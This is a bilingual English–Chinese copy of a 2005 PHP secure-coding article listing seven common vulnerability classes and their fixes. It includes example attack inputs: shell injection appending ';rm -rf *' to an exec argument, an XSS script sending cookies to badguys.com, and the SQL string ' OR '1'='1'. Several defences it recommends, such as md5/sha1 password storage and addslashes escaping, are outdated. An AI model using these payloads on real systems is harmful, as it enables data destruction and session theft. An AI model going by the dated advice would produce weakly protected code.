Top 7 PHP Security Blunders
PHP的7大安全错误
By Pax Dickinson
December 21st 2005
Reader Rating: 8.6
PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
为了适应动态网站的迅速发展,PHP是一个极好的语言选择。对初学者它有很多友好的特性,例如不需要声明变量类型。同时,这些特性也会使开发者无意之中在程序里留下安全漏洞。一些流行的安全相关的邮件列表描述了很多PHP应用程序的漏洞,但是只要明白了容易犯的基本安全错误,PHP可以像其他任何语言一样安全。
In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid ****** the same mistakes in your PHP applications.
再这篇文章里,我会详细的阐述一些经常导致安全漏洞的PHP编程错误。在告诉你不该做什么和每一个漏洞是怎么产生的时候,我希望你不仅能理解怎样去避免这些错误,而且也能明白为什么会产生这些安全漏洞。明白了每一个潜在的安全漏洞会帮助你避免再犯同样的错误。
Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
安全措施是一个过程,不是一个产物。在开发过程中采用一个好的安全处理方法会让你写出更严谨和健壮的代码。
Unvalidated Input Errors
未经验证的输入
One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.
PHP中最常见的安全隐患之一是没有经过验证的输入错误。用户提供的数据通常是不能信任的,所以应当假设每一个web访问者怀有恶意?事实上他们当中确实有一些是这样的。没有经过验证或者验证不当的输入是其他许多溢出错误的根源。
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.
举一个例子,你可能会用下面的代码调用UNIX的cal命令实现月历功能
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "
"; <br>foreach ($result as $r) { print "$r<br>"; } <br>print "
This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and thereby see a listing of your Website's html directory. An extremely malicious user could append ";rm -rf *" to the year value and delete your entire Website!
这段代码由一个很大的漏洞,$_GET[month]和$_GET[year]变量没有经过任何验证。只要输入的月份是介于1和12之间的数字并且年份是一个4位数字,这段代码运行良好。但是,恶意的用户只要在年份的后面加上”;ls -la”就会列出整个网站的web目录。同样另一个相当危险的漏洞,”;rm -rf”的后缀会删除所有的网页。
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.
正确的处理方法是确保你得到的数据是你预期的。不要用Javascript来验证,恶意用户会创建自己的表单来禁用javascript,因此会很容易的绕过验证。正如下面列出的,你必须用PHP代码确保月份和年份的输入是数字,并且只能是数字。
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");
exec("cal $month $year", $result);
print "
"; <br>foreach ($result as $r) { print "$r<br>"; } <br>print "
This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.
这些代码可以安全的使用,并且不用担心用户的输入是否会危及到应用程序和服务器的安全。正则表达式是检验输入的很好的工具,虽然他们不容易掌握,但在这方面确实非常有用。
You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
你应当在验证用户数据时把所有非预期的数据剔除掉,而不是仅仅剔除有危害的数据?这是经常见的安全漏洞原因。有时,恶意用户会绕过这些常用的验证方法,例如输入一些带有null的非法数据。这些做法通常会绕过检验,但仍然会对安全产生威胁。
You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely.
你应当尽可能严格的检验输入的数据。如果有些字符不会被用到,那么就应该剔除掉或者拒绝此次的全部输入。
Access Control Flaws
权限控制漏洞
Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.
另一种易受安全威胁的就是权限控制,虽然并非只针对PHP,但仍然是不容忽视的。这种隐患通常存在于针对特定用户的应用程序,例如后台管理这样可以修改配置或者显示敏感数据的地方。
You should check the user's access privileges upon every load of a restricted page of your PHP application. If you check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.
你应当在每一个针对特定用户的页面检查用户的权限级别。如果只在首页检查,那么一个恶意用户就可以直接在地址栏里输入通过检查之后调用的页面,这样就可以跳过身份验证。
It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that's protected by an apache .htaccess file is also good practice.
对安全分级是非常明智的,如果你的用户IP是固定的或者在特定范围之内,那么就可以根据用户的IP和用户名对权限做出控制。把特定的页面放在特定的目录,并用apache的.htaccess保护起来,是非常好的做法。
Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.
把保存配置的文件放在web目录之外。一个配置文件可以保存数据库密码或者其他可以让恶意用户入侵或修改网站的重要信息;绝对不要让这些文件可以被远程用户访问到。用PHP的include函数包含web目录之外的文件,这些目录里也要放一个含有”deny from all”的.htaccess文件,防止管理员的疏忽而让这些目录称为web目录。虽然这显得有些多余,但对于安全仍然是一个积极的做法。
For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's stored in the .htpasswd file in the root directory of the site.
在我做的PHP程序当中,我比较喜欢下面列出的目录结构。所有的函数库,类文件和配置文件都放在include目录里。这些文件都要以.php结尾,目的就是在保护措施失效的情况下,Web服务器会对这些文件解析,而不是直接显示出内容。www和admin目录是唯一两个可以通过URL直接访问的目录;admin目录通过.htaccess保护,只允许知道用户名和密码的用户进入,这些用户名和密码都保存在根目录的.htpasswd文件中。
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
你应当设置Apache的索引文件为index.php,并且在每一个目录里都放置一个index.php文件。那些不可以浏览目录里的index.php文件都应当指向你的主页,例如放置图片的目录的index.php等。
Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
绝对不要在web目录里存放.bak结尾的备份文件或以其他扩展名结尾的文件。根据不同的web服务器,上述文件类型中所包含的PHP代码不会被服务器解析,很可能会直接向用户输出源代码。如果这些文件包含密码或者其他敏感信息,那么这些信息将是可读的?如果被Google的机器人捕捉到,这些信息很可能会被列入搜索引擎的索引中。将.php后缀到.bak文件比相反的做法更安全,但最好的解决办法是用一个源码版本控制系统如CVS。学习CVS可能会复杂一些,但这是值得的,这个系统可以保护每一个版本的每一个文件。
Session ID Protection
会话ID的保护
Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user's session, but if this ID is known to another user, that person can hijack the user's session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.
截获会话Id可以说是PHP网站所面临的一个问题。PHP的会话跟踪系统使用一个唯一ID,如果这个ID被其他用户得到,那么这个用户就可以截获这个会话进而看到一些私密信息。截获会话ID通常很难完全避免;你必须明白它的危险来尽可能的减少这种隐患。
For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
例如,即使在一个用户经过身份验证并分配了一个会话ID之后,在它执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号。
A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
一个用户在登录网站之后应当通过session_regenerate_id分配一个新的会话ID。这样就可以阻止一个恶意用户会用以前的会话ID去尝试登录。
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
如果你的网站会处理一些像信用卡密码这样的机密信息,那么一定要使用SSL连接。这样会话ID不会被探嗅到而且不容易被截获,就可以减少会话截获的危险。
If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.
如果你的站点运行在一个共享主机上,需要注意会话变量可以很容易的被同一服务器上的其他用户浏览。为了减少此类风险,可以把敏感的数据以会话ID为主键保存在数据库中,这样比直接保存在会话变量中要好的多。如果必须要在会话变量中保存密码(我还是要强调尽量避免这样做),不要直接保存密码的明文,用sha1或者md5函数加密后保存在会话变量中。
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:
上面的代码把密码以平文保存在会话变量中,这样是不安全的。应该这样作:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
The SHA-1 algorithm is not without its flaws, and further advances in computing power are ****** it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.
SHA-1算法并不是一点风险也没有,随着计算机计算能力的不断加强,使得用“碰撞”的暴力方法可以破解。但是这样的技术仍然要比直接保存密码的明文好的多。如果必须,可以用MD5算法,它比明文保存密码安全,但最近的研究表明MD5的“碰撞”可以在一台普通PC上不到一个小时就可以算出。理论上,应当使用SHA-256这样的安全算法,但是这个算法目前并不被PHP默认支持,需要另外的扩展支持。
For further reading on hash collisions, among other security related topics, Bruce Schneier's Website is a great resource.
如果要获取更多关于散列碰撞的安全相关文章,Bruce Schneier's Website 是一个不错的站点。
Cross Site Scripting (XSS) Flaws
跨站脚本攻击
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.
跨站脚本攻击或者XSS,是恶意用户利用验证上的漏洞将脚本命令嵌入到可以显示的数据中,使其在另一个用户浏览时可以执行这些脚本命令。
For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.</script>
例如,如果你的站点包含一个用户可以交流信息的论坛,一个恶意用户就会在发布的信息中嵌入<script>标签,如下文所示。这样网页首先会被重定向到一个被他们所控制的站点,将用户的cookie和会话信息通过GET变量传递到他们的网页,然后再指向论坛的网页,整个过程就像什么也没发生一样。这样恶意用户就会收集其他用户的cookie和会话信息,用来进行会话截获攻击或者其他破坏行为。</script>
<script> <br />document.location = <br />'http://www.badguys.com/cgi-bin/cookie.php?' + <br />document.cookie; <br /></script>
To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, ) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.
要阻止这样的攻击,首先要特别注意怎样显示用户提交的数据。最简单的方法就是将HTML语法的字符(特别注意)转化为HTML实体,这样就可以将用户提交的数据转化为作为显示的文本。因此,只要在显示的时候将数据用htmlspecialchars函数过滤一下即可。
If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like <script>. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.</script>
如果你的应用程序需要用户提交HTML的内容,并且将他们作为HTML来对待,你必须把像<script>这样危险的标记过滤掉。最好是在提交得时候就进行过滤,这需要一点正则表达式的知识。</script>
The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.
SQL Injection Vulnerabilities
SQL注入的危险
SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.
SQL注入攻击是另一种输入验证上的漏洞。这种漏洞可以允许执行数据库命令。例如,在你的PHP脚本中,可能会要求用户输入用户ID和密码,然后通过数据库查询获得结果来检查用户ID和密码是否正确。
SELECT * FROM users WHERE name='$username' AND pass='$password';
However, if the user who's logging in is devious, he may enter the following as his password:
但是,如果一个用户在登录时不怀好意,他可能会这样输入密码:
' OR '1'='1
This results in the query being sent to the database as:
执行数据库的命令就成为如下所示:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
This will return the username without validating the password -- the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's addslashes() function.
这样就会不经过密码验证而返回用户名??恶意用户就会任意选择用户名登录。为了避免这样的问题,应该对用户提交的数据进行危险字符的过滤,最主要的就是单引号(’)的过滤。一个简单的方法就是用addslashes函数过滤。
$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);
But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.
但是根据你的PHP设置,也许可以不需要这样做。PHP一个经常被争论的问题就是magic quotes在当前版本中默认设置为启用。这个特性??可以在php.ini文件中设置magic_quotes_gpc变量来禁用??会自动的对GET,POST和cookie变量进行addslashes过滤。这个特性是针对缺乏经验的开发者有可能留下上文所述的安全漏洞,但是在不需要过滤的情况下,会对性能产生一些负面影响。所以,大多数有经验的开发者都会关掉这个特性。
If you're developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP's stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.
如果你是在共享主机上开发软件,可能会没有权限修改php.ini,那么用函数检查magic_quotes_gpc选项的设置,如果是启用,则将所有输入得数据用stripslashes函数过滤掉转义,然后再像往常一样对需要的数据进行addslashes过滤。
if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}
SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.
通常SQL注入不会导致用户权限上的问题,只会允许恶意用户获得某些特定数据库和数据表中的内容。
You should always check user-provided data that will be used in a query for the characters '",;() and, possibly, for the keywords "FROM", "LIKE", and "WHERE" in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're unnecessary, you'll have much less to worry about from this type of flaw.
你应当检查用户提交的所有数据,其中可能包含数据库命令用到的字符例如单引号,双引号,逗号,分号和括号。如果可能,对“FROM”,“LIKE”和“WHERE”这样的关键词进行不区分大小写的检查。这些都是SQL注入攻击中常用的字符和关键词,如果你不需要用到他们则将他们过滤调,这样此类攻击的危险就会大大降低。
Error Reporting
错误报告
You should ensure that your display_errors php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.
你应当确保php.ini中display_errors重的设置为0,否则,你的代码产生的任何错误,例如数据库连接错误,将会显示在最终用户面前。一个恶意用户只要输入一些非法数据然后观察、分析错误信息,就会获得程序内部运行机制的一些信息。
The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.
Display_errors的值可以在运行期间通过ini_set函数来设置,但仍然不如通过在php.ini中设置。如果你的脚本发生了一个致命错误而终止了运行,那么ini_set函数就不会起作用,错误信息仍然会被显示。
Instead of displaying errors, set the error_log ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
为了替代直接显示错误信息,把ini中的error_log设为1,并且经常检查PHP的错误日志来获取错误信息。通常,你也可以写一个自己的错误处理函数来处理PHP中产生的错误,并可以用email通知你或者执行特定的一段PHP代码。在恶意用户知道一个可能的错误产生之前就将错误修复,这是一个明智的事先准备工作,。可以去PHP手册中的错误处理部分看一下set_error_handler函数的用法。
Data Handling Errors
数据处理错误
Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.
数据处理错误并非只针对PHP,但PHP的开发人员仍然需要注意。此类错误通常是因为采用了不安全数据处理方法,而且会导致恶意用户对数据的监听或者修改。
The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.
最常见的数据处理错误就是将本来应该通过HTTPS传送的数据在未加密的HTTP上传输。信用卡密码和用户个人信息应该是作为私密的安全信息来处理,但是如果你通过普通的HTTP连接来传输用户名和密码,那么你也很可能用这种未加密的方式来传输那些敏感的数据。在你的应用程序和用户的浏览器通讯时,一定用SSL安全连接来传输敏感的信息。否则,恶意的监听者就可以在你的应用程序与最终用户之间的任何路由器上通过数据包探嗅到那些敏感的信息。
The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
在使用FTP这种不安全的协议时会承担同样的风险。用FTP上传包含数据库用户名和密码的PHP文件到远程WEB服务器时,恶意的监听者就会通过探嗅数据包来获得密码。一定要用SFTP或者SCP协议来传输敏感的文件,也不要用email来传输敏感信息。对于任何有能力获得网络传输数据的人来说,email的信息都是可读的。就像你不会把重要信息写在明信片的背面然后投到信箱里一样,你也不要用email来传递这些信息。虽然实际上这些信息被监听的机会很小,但是为什么要承担这个风险?
It's important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
重要的一点就是尽可能的减少暴露数据处理错误的漏洞。例如,如果你的应用程序是一个在线商店,对那些6个月之前的信用卡号和订单还有必要保存么?将他们放在一个离线的机器上作为存档,并对这些数据的数量做一个限制防止万一这些机器被非法入侵。对于阻止入侵和减少安全威胁,或者是尽可能的减少一次成功黑客的攻击所带来的损失,这些都是最基本的原则。没有一个安全系统是完美的,所以不要存有侥幸心理。如果你存在入侵的风险一定要采取措施来减少损失。
Configuring PHP For Security
配置PHP的安全选项
Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.
通常来讲,通过最新发布的PHP来进行安装,比起之前发布的PHP,都会获得更见安全的配置选项。你的应用程序也许会放在一个通过升级来获得最新PHP版本的web服务器上,但是php.ini没有升级。在这种情况下,默认设置也许就不会像新的安装一样安全。
You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.
你应当创建一个包含phpinfo()函数的页面,列出你的php.ini变量来检查不安全的设置。把这个页面保存在特定的地方,不要让公共人员可以访问。Phpinfo()产生的信息会包含那些对黑客十分有用的信息。
Some settings to consider when configuring PHP for security include:
配置PHP安全选项时下面是要考虑到的:
1. register_globals: The boogeyman of PHP security is register_globals, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't let you disable register_globals, get a new host!
2. safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.
3. disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
1. Register_globals:PHP安全的最大杀手就是register_globals。在PHP过去的版本中这个设置默认是为on的,但是在最近的版本中关掉了此项设置。这个选项可以把用户所有的输入作为全局变量,你所要做的就是检查这这项设置并且关掉它??没有但是,也没有例外,一定要这样做!这项设置是其他PHP安全漏洞最大的潜在隐患,如果你在使用共享主机但是却不能禁止register_globals,那么就换一个空间服务商!
2. Safe_mode:阻止未授权的用户访问本地文件系统,这个选项是十分有用的。它只允许拥有此脚本的用户来执行读文件的操作。如果你的应用程序经常打开本地文件,记住要启用此项设置。
3. Disable_functions:这项设置不能在运行期间修改,只能在php.ini文件中设置。你可以在此项设置中创建一个函数列表来禁用这些函数。这样就能阻止潜在的危险的PHP代码的执行。system和exec函数如果你用不到的话,就将他们禁用,因为这些函数允许执行内部其他程序。
Read the security section of the PHP manual and get to know it well. Treat it as material for a test you'll take and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier target whose grasp of these concepts is insufficient.
去读一下PHP手册中的安全部分,那么你就可以更好的了解这些。把这当作一次测试,你就可以更好的了解来龙去脉。一些黑客在尝试入侵你的站点时你的安全知识就会得到检验。如果那些黑客放弃了攻击或者转向其他更容易攻击的对象,那么你就通过了考试。
Further Reading
The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases covered. As I stated in the introduction to this article, "Security is a process", but security education is also a process, and your knowledge must be maintained.
推荐你去下面的站点看一下来获取更多的安全知识。新的漏洞和入侵一直都在被发现,所以对于以往的成功安全措施没有任何值得骄傲的地方,一定要有未雨绸缪的心态。正如我在文章开始所说,“安全措施是一个过程”,同样学习安全知识也是一个过程,你必须要牢牢掌握这些知识。
OWASP, The Open Web Application Security Project, is a non-profit oganisation dedicated to "finding and fighting the causes of insecure software". The resources it provides are invaluable and the group has many local chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.
OWASP, The Open Web Application Security Project,一个致力于软件不安全因素收集和研究的非盈利性组织。他们所提供的资源是无法估量的,并且他们定期举行研讨会和一些非正式的讨论。强烈推荐。
CGISecurity.Net is another good site dealing with Web application security. They have some interesting FAQs and more in-depth documentation on some of the types of flaws I've discussed in this article.
CGISecurity.Net是另一个关注web应用安全的站点。他们有一些很有趣的常见问题集锦,对我在上文提到得一些安全问题也有更深的讨论。
The security section of the PHP Manual is a key resource that I mentioned above, but I include it here again, since it's full of great information that's directly applicable to PHP. Don't gloss over the comments at the bottom of each page: some of the best and most up-to-date information can be found in the user-contributed notes.
The security section of the PHP Manual有很多与PHP直接相关的非常有用的信息,我在上文已经提到过,但还要在这里强调一次。不要忽视每一页下面的用户评论,一些相当不错的最新信息都会在这里找到。
The PHP Security Consortium offers a library with links to other helpful resources, PHP-specific summaries of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.
The PHP Security Consortium提供一个连接到其他资源的库,针对PHP的安全新闻通讯,PHP安全向导和一些文章。
The BugTraq mailing list is a great source of security related advisories that you should read if you're interested in security in general. You may be shocked by the number of advisories that involve popular PHP applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I've discussed here.
The BugTraq mailing list是一个很大的安全资讯站点,如果你对安全方面感兴趣,一定要看一下。这里有很多关于PHP的SQL注入,跨站脚本攻击的安全建议,并且数量惊人。
Linux Security is another good site that is not necessarily restricted to PHP but, since you are likely running a Linux Webserver to host your PHP applications, it's useful to try to stay up to date on the latest advisories and news related to your chosen Linux distribution. Don't assume your hosting company is on top of these developments; be aware on your own -- your security is only as good as your weakest point. It does you no good to have a tightly secured PHP application running on a server with an outdated service that exposes a well-known and exploitable flaw.
Linux Security是一个不错的站点,虽然并非只针对PHP,但是如果你在一台Linux服务器上运行PHP,在这里多读一些关于你所用Linux版本的安全资讯还是很有用的。不要以为你的空间服务商总是把安全措施做的很好,你自己就要注意??像对待你的缺点一样改正它们。在一个存有常见安全漏洞并且没有及时更新的服务器上运行对安全要求很高的PHP脚本,是没有一点好处的。
Conclusions
总结
As I've shown in this article, there are many things to be aware of when programming secure PHP applications, though this is true with any language, and any server platform. PHP is no less secure than many other common development languages. The most important thing is to develop a proper security mindset and to know your tools well. I hope you enjoyed this article and learned something as well! Remember: just because you're paranoid doesn't mean there's no one out to get you.